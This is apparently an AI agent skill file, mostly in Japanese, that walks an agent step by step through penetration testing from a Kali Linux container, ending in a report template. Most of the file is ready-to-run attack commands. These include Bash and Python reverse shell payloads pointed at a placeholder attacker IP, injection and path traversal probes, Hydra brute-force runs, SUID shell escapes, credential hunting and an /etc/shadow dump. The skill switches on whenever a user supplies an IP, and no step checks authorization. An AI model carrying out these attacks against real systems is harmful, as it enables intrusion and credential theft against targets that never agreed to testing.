penetration-testing

ペネトレーションテストスキル

このスキルでは、Kali Linux MCP サーバー環境を使用した、プロフェッショナルなペネトレーションテストのワークフローを AI エージェントに案内します。

基本原則

1. 常に操作を記録する - すべてのコマンドと調査結果を詳細に記録してください
2. タイムアウトを設定する - ハングを防ぐため、ネットワークコマンドにはタイムアウトを指定してください
3. まずツールをインストールする - コンテナーにツールがプリインストールされていると思い込まないでください
4. 手順に沿って進める - 構造化されたテスト手法に従ってください
5. レポートを作成する - 最後に、脆弱性に関する包括的なドキュメントを必ず作成してください
6. 悪用する前に仕組みを理解する - 仕組み、動作、リスクを事前に調査して正確に理解せずに、エクスプロイトを決して実行しないでください

前提条件

評価を開始する前に：

# Verify Kali MCP container status
kali-container-status

# Install essential tools
kali-exec "apt-get update && apt-get install -y nmap nikto hydra dirb netcat-traditional dnsutils curl wget"

テスト手法

フェーズ 1：偵察

目的：すべての攻撃対象領域、サービス、潜在的な侵入経路を特定します。

必須手順：

1. ポートスキャン：

# Quick scan of top ports
kali-exec "timeout 120s nmap -T4 --top-ports 1000 [TARGET_IP]"

# Full TCP scan with version detection
kali-exec "timeout 300s nmap -sV -sC -p- [TARGET_IP] -oN scan_results.txt"

# UDP scan (common ports)
kali-exec "timeout 300s nmap -sU --top-ports 100 [TARGET_IP]"

2. サービスの列挙：

# HTTP/HTTPS service identification
kali-exec "curl -m 10 -I http://[TARGET_IP]"

# Banner grabbing
kali-exec "timeout 5s nc -v [TARGET_IP] [PORT]"

# DNS enumeration if applicable
kali-exec "dig @[TARGET_IP] ANY"

3. Web アプリケーションの検出（Web サーバーが存在する場合）：

# Install web tools
kali-exec "apt-get install -y gobuster nikto whatweb"

# Directory enumeration
kali-exec "timeout 600s gobuster dir -u http://[TARGET_IP] -w /usr/share/wordlists/dirb/common.txt"

# Web vulnerability scan
kali-exec "timeout 300s nikto -h http://[TARGET_IP] -o nikto_results.txt"

# Technology identification
kali-exec "whatweb http://[TARGET_IP]"

4. SMB/FTP の列挙（該当する場合）：

# Install enum tools
kali-exec "apt-get install -y smbclient enum4linux"

# SMB enumeration
kali-exec "timeout 60s enum4linux -a [TARGET_IP]"
kali-exec "timeout 30s smbclient -L //[TARGET_IP] -N"

# FTP anonymous access check
kali-exec "timeout 10s ftp -n [TARGET_IP] <<EOF
quote USER anonymous
quote PASS anonymous
ls
quit
EOF"

ドキュメント作成：検出したすべてのサービス、バージョン、開放ポートを pentest_log.md に記録します。

フェーズ 2：脆弱性評価

目的：検出したサービスにおける悪用可能な脆弱性を特定します。

必須手順：

1. CVE の調査：

# Install searchsploit
kali-exec "apt-get install -y exploitdb"

# Search for known exploits
kali-exec "searchsploit [SERVICE_NAME] [VERSION]"

2. デフォルト認証情報のテスト：

# Common credentials for discovered services
# Web admin panels: admin/admin, admin/password
# SSH: root/root, admin/admin
# Database: root/(blank), postgres/postgres

3. Web 脆弱性のテスト（該当する場合）：

# SQL Injection detection
kali-exec "curl -m 10 'http://[TARGET_IP]/page?id=1%27' | grep -i error"

# Command injection in parameters
kali-exec "curl -m 10 'http://[TARGET_IP]/endpoint?cmd=;id' | grep uid"

# Path traversal
kali-exec "curl -m 10 'http://[TARGET_IP]/file?path=../../../../etc/passwd'"

# LFI/RFI testing
kali-exec "curl -m 10 'http://[TARGET_IP]/page?file=../../../../../../../etc/passwd'"

4. 自動脆弱性スキャン：

# Install vulnerability scanners
kali-exec "apt-get install -y sqlmap wpscan"

# SQL injection with sqlmap
kali-exec "timeout 300s sqlmap -u 'http://[TARGET_IP]/page?id=1' --batch --level=2"

# WordPress scanning if applicable
kali-exec "timeout 300s wpscan --url http://[TARGET_IP] --enumerate u,p"

ドキュメント作成：特定したすべての脆弱性と深刻度を pentest_log.md に記録します。

フェーズ 3：エクスプロイト

目的：標的システムへの初期アクセスを取得します。

⚠️ 重大：エクスプロイトの事前調査が必須です エクスプロイトを試す前に、必ず徹底的に調査して内容を理解してください。何も考えずにエクスプロイトを実行してはいけません。

必須手順：

1. エクスプロイトの調査（必須）：

エクスプロイトを使用する前に、次の調査チェックリストを完了してください。

• CVE/Exploit-DB ID を特定する：悪用する脆弱性を正確に把握します
• 脆弱性の種類を理解する：どのような種類のバグですか？（バッファーオーバーフロー、RCE、SQLi、デシリアライゼーションなど）
• 技術的な詳細を読む：エクスプロイトが技術的にどのように動作するのかを理解します
• 標的との互換性を確認する：標的のバージョンや設定に脆弱性があることを確認します
• ペイロードを理解する：実行されるコードと、その影響を正確に把握します
• 前提条件を特定する：悪用を成功させるために必要な条件を確認します
• 痕跡を把握する：どのような成果物やログが作成されるかを確認します
• 失敗時の対応を計画する：エクスプロイトに失敗した場合に何が起こるかを確認します。サービスがクラッシュする可能性はありますか？

調査コマンド：

# Search for exploit details
kali-exec "searchsploit -x [EXPLOIT_ID]"  # Read the exploit code and comments

# Research CVE details
kali-exec "curl -s 'https://cveawg.mitre.org/api/cve/CVE-XXXX-XXXX' | jq ."

# Check exploit-db for writeups and details
kali-exec "searchsploit -w [EXPLOIT_ID]"  # Get Exploit-DB URL for full details

# Read exploit source code to understand mechanism
kali-exec "searchsploit -m [EXPLOIT_ID] && cat [EXPLOIT_FILE] | head -100"

理解した内容を記録する： 作業を進める前に、以下を pentest_log.md に記録します。

• エクスプロイト名と ID（CVE/EDB）
• 脆弱性の種類と根本原因
• エクスプロイトがコード実行を実現する仕組み
• 成功時／失敗時に予想される動作
• 標的環境に合わせて必要となる変更

2. エクスプロイトの準備：

# Download exploit if needed
kali-exec "wget -T 30 [EXPLOIT_URL] -O exploit.py"

# ALWAYS review exploit code before execution
kali-exec "cat exploit.py | head -50"  # Check exploit header/comments
kali-exec "grep -n 'payload\|shell\|cmd\|exec' exploit.py"  # Identify payload sections

# Make executable
kali-exec "chmod +x exploit.py"

2. リバースシェルのセットアップ：

# Start netcat listener (in background, document the listener IP:PORT)
# Note: This requires separate terminal or background process management

# Common reverse shell payloads:
# Bash: bash -i >& /dev/tcp/[ATTACKER_IP]/[PORT] 0>&1
# Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACKER_IP]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3. エクスプロイトの実行：

# Use discovered vulnerability
kali-exec "timeout 60s python3 exploit.py [TARGET_IP] [PORT]"

# Or manual exploitation
kali-exec "curl -m 30 -X POST 'http://[TARGET_IP]/vulnerable_endpoint' -d 'param=[PAYLOAD]'"

4. 悪用後の初期列挙：

# Stabilize shell
kali-exec "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"

# System information
kali-exec "uname -a"
kali-exec "cat /etc/*-release"

# Current user and privileges
kali-exec "id"
kali-exec "sudo -l"

ドキュメント作成：成功したエクスプロイトの手法、使用したペイロード、初期アクセスレベルを記録します。

フェーズ 4：権限昇格

目的：初期アクセスから root／管理者権限へ昇格します。

必須手順：

1. Linux の列挙：

# SUID binaries
kali-exec "find / -perm -4000 -type f 2>/dev/null"

# Writable files/directories
kali-exec "find / -writable -type f 2>/dev/null | grep -v proc"

# Cron jobs
kali-exec "cat /etc/crontab"
kali-exec "ls -la /etc/cron.*"

# Capabilities
kali-exec "getcap -r / 2>/dev/null"

2. 認証情報の探索：

# Search for credentials in common locations
kali-exec "grep -r 'password' /home /var/www /opt 2>/dev/null | head -20"

# Bash history
kali-exec "cat ~/.bash_history"
kali-exec "cat /home/*/.bash_history 2>/dev/null"

# Configuration files
kali-exec "find /etc /var /opt -name '*.conf' -o -name '*.cfg' 2>/dev/null"

# Database credentials
kali-exec "cat /var/www/html/config.php 2>/dev/null"

3. 自動列挙（アップロード可能な場合）：

# Download LinPEAS
kali-exec "wget -T 30 https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -O /tmp/linpeas.sh"
kali-exec "chmod +x /tmp/linpeas.sh"
kali-exec "timeout 120s /tmp/linpeas.sh"

4. 一般的な権限昇格手法：

# GTFOBins - SUID binary exploitation
# Example: if find has SUID
kali-exec "find . -exec /bin/sh -p \\; -quit"

# Sudo exploitation
# Check if sudo version is vulnerable
kali-exec "sudo --version"

# Kernel exploits (check version first)
kali-exec "searchsploit linux kernel [VERSION]"

ドキュメント作成：権限昇格に利用した経路、使用したコマンド、最終的に取得したアクセスレベルを記録します。

フェーズ 5：目的の達成

目的：フラグや機密データを取得するか、ミッションの目的を達成します。

必須手順：

1. フラグの発見：

# Common flag locations
kali-exec "find / -name 'user.txt' -o -name 'flag.txt' -o -name 'root.txt' 2>/dev/null"

# Search in home directories
kali-exec "cat /home/*/user.txt 2>/dev/null"
kali-exec "cat /root/root.txt 2>/dev/null"

# Search by content pattern
kali-exec "grep -r 'flag{' / 2>/dev/null"

2. データの持ち出し（許可されている場合）：

# Document sensitive files found
kali-exec "ls -la /etc/shadow /etc/passwd"

# Dump hashes if root
kali-exec "cat /etc/shadow"

記録：見つかったすべてのフラグについて、その場所とアクセス方法を記録します。

レポートの作成

評価の完了後、包括的な脆弱性レポートを作成します。

レポートの必須セクション

次の構成で vulnerability_report.md という名前のファイルを作成します。

1. エグゼクティブサマリー

• 主な調査結果の概要
• セキュリティ態勢の総合評価
• ビジネスへの影響の概要
• リスク評価（Critical／High／Medium／Low）

2. 対象範囲と方法論

• 対象情報（IP アドレス、ドメイン）
• テスト期間
• 使用したツール
• 実施したテスト方法論

3. 詳細な調査結果

発見した脆弱性ごとに、次の情報を記載します。

• 脆弱性のタイトル：明確で説明的な名前
• 深刻度：Critical／High／Medium／Low
• CVSS スコア：該当する場合
• 影響を受けるコンポーネント：サービス、ポート、またはアプリケーション
• 説明：脆弱性に関する技術的な説明
• 概念実証：再現するための正確なコマンド／手順
• 影響：攻撃者が実行できること
• 修正方法：脆弱性を修正するための具体的な手順
• 参考資料：CVE 番号、exploit-db のリンクなど

4. 技術付録

• pentest_log.md に記録されたコマンド履歴の全件
• ネットワーク図（該当する場合）
• スクリーンショットまたはコマンド出力
• 発見した認証情報（レポート用にサニタイズしたもの）

5. 推奨事項

• 優先順位を付けた修正計画
• セキュリティ強化のガイドライン
• 監視と検知に関する推奨事項

レポートテンプレート

# Vulnerability Assessment Report

## Executive Summary
[High-level overview of findings and risk]

## Scope
- **Target**: [IP/Domain]
- **Date**: [Assessment Date]
- **Tester**: AI Security Agent
- **Methodology**: OWASP Testing Guide, PTES

## Findings Summary
| Severity | Count |
|----------|-------|
| Critical | X |
| High | X |
| Medium | X |
| Low | X |

## Detailed Findings

### Finding 1: [Vulnerability Name]
**Severity**: Critical
**CVSS**: 9.8
**Affected Component**: [Service/Port]

**Description**:
[Technical explanation]

**Proof of Concept**:
```bash
[Commands used]

影響： ［攻撃者が実行できること］

修正方法： ［修正方法］

参考資料：

• CVE-XXXX-XXXX
• https://example.com/advisory

調査結果ごとに繰り返します。

技術的な詳細

［コマンド履歴と出力の全件］

推奨事項

1. ［優先度 1 の対応］
2. ［優先度 2 の対応］ ...

## Common Pitfalls to Avoid

1. **Hanging Commands**: Always use timeouts
   - ❌ `nc [IP] [PORT]`
   - ✅ `timeout 5s nc [IP] [PORT]`

2. **Assuming Tool Availability**: Always install first
   - ❌ `nmap [TARGET]`
   - ✅ `apt-get install -y nmap && nmap [TARGET]`

3. **Incomplete Logging**: Document everything
   - Log successful AND failed attempts
   - Note reasoning for each action
   - Track all credentials discovered

4. **Premature Optimization**: Be thorough before exploiting
   - Complete enumeration before attacking
   - Try multiple approaches
   - Don't fixate on one attack vector

5. **Blind Exploitation**: NEVER run an exploit without understanding it
   - ❌ Download exploit and run immediately
   - ✅ Research CVE, read exploit code, understand mechanism, then execute
   - Always know: What vulnerability? How does it work? What does the payload do?
   - Read exploit source code comments and documentation first
   - Verify target version matches exploit requirements

## Advanced Techniques

### Custom Script Development

When existing tools don't work, create custom scripts:

```bash
# Python port scanner
kali-exec "cat > /tmp/scanner.py << 'EOF'
import socket
import sys

target = sys.argv[1]
for port in [21,22,23,25,80,443,3306,8080]:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(2)
    result = sock.connect_ex((target, port))
    if result == 0:
        print(f'Port {port}: OPEN')
    sock.close()
EOF"

kali-exec "python3 /tmp/scanner.py [TARGET_IP]"

パスワード攻撃

# Install Hydra
kali-exec "apt-get install -y hydra"

# SSH brute force with common passwords
kali-exec "timeout 300s hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://[TARGET_IP]"

# HTTP form brute force
kali-exec "timeout 300s hydra -l admin -P /usr/share/wordlists/rockyou.txt [TARGET_IP] http-post-form '/login:username=^USER^&password=^PASS^:F=incorrect'"

ピボットとトンネリング

# Discover internal networks
kali-exec "ip route"
kali-exec "cat /etc/hosts"

# Port forwarding for access to internal services
# (Requires persistent shell session)

成功の指標

次の項目を達成した場合、ペネトレーションテストは成功です。

• 包括的な列挙データが記録されている
• 発見したすべての脆弱性が文書化されている
• 証拠を示してエクスプロイトの成功を実証している
• 権限昇格を達成している（可能な場合）
• 目的を達成している（フラグの発見、データへのアクセス）
• コマンド履歴がすべて保持されている
• 専門的な脆弱性レポートが作成されている

クイックリファレンス

必須のワンライナー

# Install base toolkit
apt-get update && apt-get install -y nmap nikto hydra dirb netcat-traditional curl wget exploitdb

# Quick recon
nmap -T4 -p- [TARGET] && curl -m 10 -I http://[TARGET]

# Web directory scan
gobuster dir -u http://[TARGET] -w /usr/share/wordlists/dirb/common.txt -t 50

# Search exploits
searchsploit [SERVICE] [VERSION]

# Python reverse shell (URL encoded)
python%20-c%20%27import%20socket,subprocess,os;s=socket.socket();s.connect((%22[IP]%22,[PORT]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([%22/bin/sh%22,%22-i%22])%27

# SUID find
find / -perm -4000 2>/dev/null

# Writable directories
find / -writable -type d 2>/dev/null

追加リソース

より詳しい技術情報については、次を参照してください。

• references/ATTACK_PATTERNS.md - 一般的な攻撃パターンとペイロード
• references/TOOLS_REFERENCE.md - ツールの包括的な使用ガイド
• scripts/auto_enum.sh - 列挙を自動化するスクリプト

スキルの有効化

次の場合に、このスキルを有効にしてください。

• ユーザーが「penetration test」、「pentest」、「security assessment」と言及した場合
• ユーザーが「CTF」、「hack the box」、「try hack me」と言及した場合
• ユーザーが対象の IP を提示した場合、またはセキュリティテストを依頼した場合
• ユーザーが「vulnerability scan」または「exploit」と言及した場合
• ユーザーがフラグの発見または root アクセスの取得を依頼した場合
• ユーザーが Kali Linux またはセキュリティツールと言及した場合

有効にしたら、方法論の各フェーズを順番に実施し、評価全体を通して詳細なログを維持してください。